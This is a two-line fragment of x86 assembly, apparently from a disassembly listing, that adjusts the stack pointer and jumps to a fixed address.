sub esp, 0xffffff80
jmp 0x4034f1